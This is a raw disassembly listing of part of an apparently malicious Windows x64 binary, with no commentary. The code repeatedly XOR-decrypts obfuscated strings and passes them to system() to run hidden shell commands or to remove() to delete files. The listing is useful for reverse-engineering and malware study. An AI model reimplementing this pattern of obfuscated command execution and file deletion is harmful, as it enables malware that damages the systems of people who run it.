psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140051a40
cmp r8d, 0x32
jge 0x140051b71
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x32
jl 0x140051b40
mov r8, rbx
lea rcx, [rbp + 0x3320]
mov rdx, r10
call fcn.140073bb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x3340]
call fcn.140073ce0
mov rcx, rax
call fcn.14002b430
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3340]
call fcn.14002b440
lea rcx, [rbp + 0x3320]
call fcn.14002b440
lea rcx, [rbp + 0x3300]
call fcn.14002b440
mov edx, 0xf
lea rcx, [rbp + 0x3360]
call fcn.140040450
mov rbx, rax
lea rdx, [rbp + 0x3ea3]
xor eax, eax
lea rcx, [rbp + 0x54]
mov byte [rbp + 0x54], al
call fcn.14006ccf0
mov r10, rax
cmp byte [rax + 0x31], 0
je 0x140051d51
mov r8d, esi
cmp r15d, 2
jl 0x140051d13
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140051c20
cmp r8d, 0x32
jge 0x140051d51
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x32
jl 0x140051d20
mov r8, rbx
lea rcx, [rbp + 0x3380]
mov rdx, r10
call fcn.140073bb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x33a0]
call fcn.140073ce0
mov rcx, rax
call fcn.14002b430
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x33a0]
call fcn.14002b440
lea rcx, [rbp + 0x3380]
call fcn.14002b440
lea rcx, [rbp + 0x3360]
call fcn.14002b440
xor eax, eax
lea rdx, [rbp + 0x4e40]
lea rcx, [rbp + 0x55]
mov byte [rbp + 0x55], al
call fcn.14006cd20
mov r10, rax
cmp byte [rax + 0x3f], 0
je 0x140051f0a
mov r8d, esi
cmp r15d, 2
jl 0x140051edd
movdqa xmmword [rbp + 0x10], xmm13
mov edx, esi
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop dword [rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x40
jl 0x140051df0
jmp 0x140051f0a
mov r9, r10
mov eax, 0x51eb851f
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x40
jl 0x140051ee0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x5042]
lea rcx, [rbp + 0x56]
mov byte [rbp + 0x56], al
call fcn.14006cd50
mov r10, rax
cmp byte [rax + 0x41], 0
je 0x140052081
mov r8d, esi
cmp r15d, 2
jl 0x140052043
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x40
jl 0x140051f50
cmp r8d, 0x42
jge 0x140052081
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x42
jl 0x140052050
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.14003e0a0
xor eax, eax
lea rdx, [rbp + 0x3a10]
lea rcx, [rbp + 0x57]
mov byte [rbp + 0x57], al
call fcn.14006cd90
mov r10, rax
cmp byte [rax + 0x2b], 0
je 0x140052201
mov r8d, esi
cmp r15d, 2
jl 0x1400521c3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x1400520d0
cmp r8d, 0x2c
jge 0x140052201
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x2c
jl 0x1400521d0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor eax, eax
lea rdx, [rbp + 0x38c6]
lea rcx, [rbp + 0x58]
mov byte [rbp + 0x58], al
call fcn.14006cdc0
mov r10, rax
cmp byte [rax + 0x28], 0
je 0x140052381
mov r8d, esi
cmp r15d, 2
jl 0x140052343
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x140052250
cmp r8d, 0x29
jge 0x140052381
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x29
jl 0x140052350
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor eax, eax
lea rdx, [rbp + 0x389e]
lea rcx, [rbp + 0x59]
mov byte [rbp + 0x59], al
call fcn.14006cdf0
mov r10, rax
cmp byte [rax + 0x27], 0
je 0x1400524ea
mov r8d, esi
cmp r15d, 2
jl 0x1400524bd
movdqa xmmword [rbp + 0x10], xmm13
mov edx, esi
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x28
jl 0x1400523d0
jmp 0x1400524ea
mov r9, r10
mov eax, 0x51eb851f
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x28
jl 0x1400524c0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor eax, eax
lea rdx, [rbp + 0x38ef]
lea rcx, [rbp + 0x5a]
mov byte [rbp + 0x5a], al
call fcn.14006ce20
mov r10, rax
cmp byte [rax + 0x28], 0
je 0x140052661
mov r8d, esi
cmp r15d, 2
jl 0x140052623
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x140052530
cmp r8d, 0x29
jge 0x140052661
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x29
jl 0x140052630
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor eax, eax
lea rdx, [rbp + 0x6cc1]
lea rcx, [rbp + 0x5b]
mov byte [rbp + 0x5b], al
call fcn.14006ce50
mov r10, rax
cmp byte [rax + 0x75], 0
je 0x1400527e1
mov r8d, esi
cmp r15d, 2
jl 0x1400527a3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x70
jl 0x1400526b0
cmp r8d, 0x76
jge 0x1400527e1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x76
jl 0x1400527b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x72e5]
lea rcx, [rbp + 0x5c]
mov byte [rbp + 0x5c], al
call fcn.14006cec0
mov r10, rax
cmp byte [rax + 0x7b], 0
je 0x140052961
mov r8d, esi
cmp r15d, 2
jl 0x140052923
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x78
jl 0x140052830
cmp r8d, 0x7c
jge 0x140052961
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x7c
jl 0x140052930
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x9619]
lea rcx, [rbp + 0x5d]
mov byte [rbp + 0x5d], al
call fcn.14006cf30
mov r10, rax
cmp byte [rax + 0x9f], 0
je 0x140052add
mov r8d, esi
cmp r15d, 2
jl 0x140052aa0
movdqa xmmword [rbp + 0x10], xmm13
mov edx, esi
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0xa0
jl 0x1400529b0
jmp 0x140052add
mov r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0xa0
jl 0x140052ab0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x94db]
lea rcx, [rbp + 0x5e]
mov byte [rbp + 0x5e], al
call fcn.14006cfa0
mov r10, rax
cmp byte [rax + 0x9e], 0
je 0x140052c64
mov r8d, esi
cmp r15d, 2
jl 0x140052c29
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x98
jl 0x140052b30
cmp r8d, 0x9f
jge 0x140052c64
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x9f
jl 0x140052c30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0xa183]
lea rcx, [rbp + 0x5f]
mov byte [rbp + 0x5f], al
call fcn.14006d040
mov r10, rax
cmp byte [rax + 0xac], 0
je 0x140052de4
mov r8d, esi
cmp r15d, 2
jl 0x140052da9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0xa8
jl 0x140052cb0
cmp r8d, 0xad
jge 0x140052de4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0xad
jl 0x140052db0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
